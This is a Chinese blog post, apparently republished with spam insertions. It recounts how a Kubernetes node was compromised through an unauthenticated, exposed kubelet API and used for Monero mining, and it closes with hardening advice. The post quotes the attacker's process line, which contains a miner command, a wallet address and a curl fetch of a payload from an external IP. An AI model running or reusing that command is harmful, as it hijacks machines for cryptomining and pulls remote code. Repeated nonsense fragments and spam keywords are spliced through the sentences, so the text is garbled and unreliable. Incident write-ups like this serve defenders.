记一次 Kubernetes 集群被入侵,服务器变矿机

近期遇到了一次我们自建 Kubernetes 集群中某台机器被入侵挖矿,记次集群机后续也找到了原因,被入变矿所幸只是侵服用来挖矿…
网络安全是个严肃的问题,它总是记次集群机在不经意间出现,等你反应过来却已经迟了。被入变矿希望各位读者看完后也有所启发,侵服去检查及加固自己的记次集群机集群。
入侵现象
检查到某台机器中出现了异常进程
复制./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCmcurl -s http://45.9.148.35/scan_threads.dat1.2.
简单来讲,被入变矿就是侵服我们的机器被用来挖矿了…
问题出现后,我们第一时间关闭了docker,记次集群机其实应该隔离下环境,被入变矿 把挖矿程序dump下来,以便后续分析。侵服
具体原因排查
iptables为空出现了异常进程,记次集群机肯定是被入变矿被入侵了,我首先看的侵服是 iptables 。果不其然,机器上的 iptables 规则是空的,意味着这台机器在裸奔。
kubelet裸奔内部同事提出了有可能是 kubelet 被入侵的问题,企商汇检查过其他组件后,开始检查 kubelet 组件
最后检查到 kubelet 日志中有异常:

kubelet设置不当
确认入侵问题,kubelet 参数设置错误,允许直接访问 kubelet 的 api

发现是 kubelet 的启动项中,该位置被注释掉:

然后文件中禁止匿名访问的配置没有读取

由于是新增加的机器,当晚就发现了问题,整个集群是我在管理的,我跟随着一起排查,所以很快就找到了原因,当晚我就把其他机器中的配置项重新扫了一遍,假如它们的防火墙失效了,也会有类似的入侵情况发生,还好此次事件控制在1台机器中。
改进方案
其实该问题理论上讲是可以避免的,是因为出现了多层漏洞才会被有心人扫到,我从外到内整理了一下可能改进的策略。免费源码下载
机器防火墙设置,机器防火墙是整个系统最外层,即使机器的防火墙同步失败,也不能默认开放所有端口,而是应该全部关闭,等待管理员连接到tty终端上检查。 使用机器时,假如机器不是暴露给外部使用的,公网IP可有可无的时候,尽量不要有公网IP,我们的机器才上线1天就被扫描到了漏洞,可想而知,公网上是多么的危险 使用kubelet以及其他系统服务时,端口监听方面是不是该有所考量?能不能不监听 0.0.0.0,而是只监听本机的内网IP。 使用kubelet以及其他程序,设计或是搭建系统时, 对于匿名访问时的权限控制, 我们需要考虑到假如端口匿名会出现什么问题,是源码库否应该允许匿名访问,如果不允许匿名访问,那么怎么做一套鉴权系统? 系统管理员操作时,是否有一个比较规范化的流程,是不是该只使用脚本操作线上环境? 手动操作线上环境带来的问题并不好排查和定位。 我这里不是抛出疑问,只是想告诉大家,考虑系统设计时,有必要考虑下安全性。总结
发生了入侵事件后,同事开玩笑说,还好没其他经济损失,要不我可能要回家了。作为集群的管理员,只有自己最清楚问题的严重程度。从本质上来讲,问题已经相当严重了。入侵者相当于拥有了机器上docker的完整控制权限。如果读者有读过我关于docker系列的内容,就对权限上了解清楚了。
因为此次事件的发生,不只是我,还有SA的同学基本都被diao了一遍,心里还是有点难受的,希望大家能对网络安全问题有所重视,从加固防火墙开始,避免监听不必要的端口,这两项至少是最容易实现的。
相关文章
电脑手动重启发生错误的解决方法(如何应对电脑手动重启引发的故障及修复技巧)
摘要:在我们使用电脑的过程中,偶尔会遇到电脑手动重启发生错误的情况,这不仅给我们带来不便,还可能导致数据丢失和系统崩溃。本文将介绍一些常见的电脑手动重启发生错误的原因和解决方法,帮助读者...2025-11-04- 摘要:在如今多媒体内容日益丰富的时代,人们对于视频播放器的需求也越来越高。nPlayer作为一款备受赞誉的全能媒体播放器,在市场上拥有广泛的用户群体,并以其独特的特点和出色的表现备受推崇...2025-11-04
vivo手环的功能和性能如何?(探索vivo手环的领先科技与实用功能)
摘要:作为智能穿戴设备的一种,vivo手环在市场上备受关注。它结合了健康管理、运动监测等多种功能,给用户带来了全方位的健康体验。本文将从各个方面探索vivo手环的功能和性能,让我们对这款...2025-11-04NEC3D高清工程投影机(解密NEC3D高清工程投影机的震撼力与创新性)
摘要:在当今数字化快速发展的时代,高清工程投影机已成为各类活动、演讲、展示等场合中必不可少的设备。而NEC3D高清工程投影机作为一款技术卓越的产品,以其出色的性能和创新的设计,为用户带来...2025-11-04日版iPhone6信号强度究竟如何?(探究日版iPhone6信号强度表现,解析关键因素)
摘要:作为iPhone系列中的一员,iPhone6在全球范围内都享有盛誉。然而,由于不同地区的市场需求和技术差异,苹果推出了不同版本的iPhone6,其中包括了日本专用的日版iPhone...2025-11-04OPPOR9s手机的性能与用户体验(探索OPPOR9s手机的关键特性和用户反馈)
摘要:OPPOR9s是一款备受关注的智能手机,拥有出色的性能和引人注目的特点。本文将深入探讨OPPOR9s手机的各项特性和用户体验,帮助读者了解该款手机的优势和不足之处。1....2025-11-04

最新评论